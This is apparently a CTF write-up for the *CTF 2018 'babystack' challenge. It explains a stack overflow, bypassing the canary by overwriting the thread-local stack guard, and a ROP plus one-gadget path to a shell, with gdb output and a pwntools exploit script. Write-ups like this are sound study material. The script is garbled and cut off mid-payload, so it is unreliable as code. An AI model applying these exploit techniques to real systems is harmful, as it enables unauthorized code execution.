Star Ctf 2018 Babystack


Arch:     amd64-64-little
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

The challenge creates a thread and calls a function startroutine

void *__fastcall start_routine(void *a1)
  void *result; // rax@2
  __int64 v2; // rcx@4
  unsigned __int64 v3; // [sp+8h] [bp-1018h]@1
  char s; // [sp+10h] [bp-1010h]@1
  __int64 v5; // [sp+1018h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  memset(&s, 0, 0x1000uLL);
  puts("Welcome to babystack 2018!");
  puts("How many bytes do you want to send?");
  v3 = get_int();
  if ( v3 <= 0x10000 )
    get_inp(0, &s, v3);
    puts("It's time to say goodbye.");
    result = 0LL;
    puts("You are greedy!");
    result = 0LL;
  v2 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;

Well there is a huge overflow in the stack . During the ctf giving a very large input makes the program segfault inside the getinp function which dereference a location on the stack and it points to the errno variable but our overflow overwrite this pointer and causes trouble , I just found the offset and gave it a pointer to BS’s which will be allways null , thus the read will terminate without any error . Next is to bypass the canary

As the function is called on a different thread , the thread will have a new stack and the canary is placed on the thread local storage structure. and this structure will be on top of the stack which gives us a opportunity to overflow in this case .

  typedef struct
    void *tcb;        /* Pointer to the TCB.  Not necessarily the
                 thread descriptor used by libpthread.  */
    dtv_t *dtv;
    void *self;       /* Pointer to the thread descriptor.  */
    int multiple_threads;
    int gscope_flag;
    uintptr_t sysinfo;
    uintptr_t stack_guard;
    uintptr_t pointer_guard;
  } tcbhead_t;

the fs segment register will always point to this . As it turns out i could not view the address which fs points with gdb , the arch_prctl syscall is responsible of setting address to these registers , by viewing the the argument of this syscall we can find the address of this structure .

pwndbg> catch syscall 158
Catchpoint 1 (syscall 'arch_prctl' [158])

this will stop the execution after the syscall has called

pwndbg> reg
*RAX  0xffffffffffffffda
*RBX  0x1
*RCX  0x7ffff7dd9bb8 (init_tls+280) ◂— test   eax, eax
*RDX  0x7ffff7fc5010 ◂— 0x0
*RDI  0x1002
*RSI  0x7ffff7fc4700 ◂— 0x7ffff7fc4700
*R8   0xffffffffffffffff
 R9   0x0
*R10  0x22
*R11  0x206
*R12  0x22c3d0dcdbfa
*R13  0x10
 R14  0x0
*R15  0x7ffff7ffe170 ◂— 0x0
*RBP  0x7fffffffdbd0 —▸ 0x400040 ◂— 0x500000006
*RSP  0x7fffffffd9c0 ◂— 0x0
*RIP  0x7ffff7dd9bb8 (init_tls+280) ◂— test   eax, eax
pwndbg> x/10gx 0x7ffff7fc4700
0x7ffff7fc4700: 0x00007ffff7fc4700      0x00007ffff7fc5010
0x7ffff7fc4710: 0x00007ffff7fc4700      0x0000000000000000
0x7ffff7fc4720: 0x0000000000000000      0x0000000000000000
0x7ffff7fc4730: 0x0000000000000000      0x0000000000000000
0x7ffff7fc4740: 0x0000000000000000      0x0000000000000000

this is the address of the tls . the values are not populated yet .

0x004009f2      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
0x004009fb      488945f8       mov qword [rbp - 8], rax

this is the code which copy the canary to the stack , so fs + 0x28 gives us the canary .

pwndbg> x/4gx 0x7ffff7fc4700 + 0x28
0x7ffff7fc4728: 0x4339f83af5815e00      0xe535fd48502579dc
0x7ffff7fc4738: 0x0000000000000000      0x0000000000000000

now we can calculate the offset of the canary from the read buffer and overwrite it with a known values , then we can use the usual ROP techniques to get the shell .

import hashlib,string

def p64(hex):
    from struct import pack
    return pack('<' + 'Q' * len(hex), *hex)
context.arch = 'amd64'
context.bits = 64
if True:
    context.log_level = "debug"
    io = remote ("", 10005)
    context.log_level = "debug"
    context.terminal = ['tmux', 'splitw', '-h']
    env = { 'LD_PRELOAD' : './'}
    io = process('bs',env=env )
    # gdb.attach(io,'''
    # b * 0x0400A1A
    # b * 0x00400A9C
    # ''')

def send(size,inp):
        io.recvuntil("How many bytes do you want to send?\n")
def calc():
    print leak
    l=leak.split(" == ")
    print l
    for i in string.printable:
        for j in string.printable:
            for k in string.printable:
                for m in string.printable:
                    if hashlib.sha256(i+j+k+m+l[0]).hexdigest() == l[1]:
                        print i+j+k+m
                        io.sendlineafter("Give me xxxx:",i+j+k+m)
                    if s%10000==0:
                        print s

# send(0x10000,p64([0x602f00]) * ( 0x10000 / 8 ))
# 0x00400c03: pop rdi; ret;
# 0x00400c01: pop rsi; pop r15; ret;


payload = "A" * 0x1008 + "\x00" * 0x8
payload += p64([0x602d00,
payload = payload.ljust( 6080 , "\x00" ) + p64([0x602f00])
payload = payload.ljust(0x1800,"\x00")
send(len(payload) , payload)

libc_leak = u64(io.recvline()[:-1].ljust(0x8,"\x00"))
libc = libc_leak - 0x0006f690
magic = libc + 0xf1147"Libc Leak : " + hex(libc))

payload = p64([0x602d00,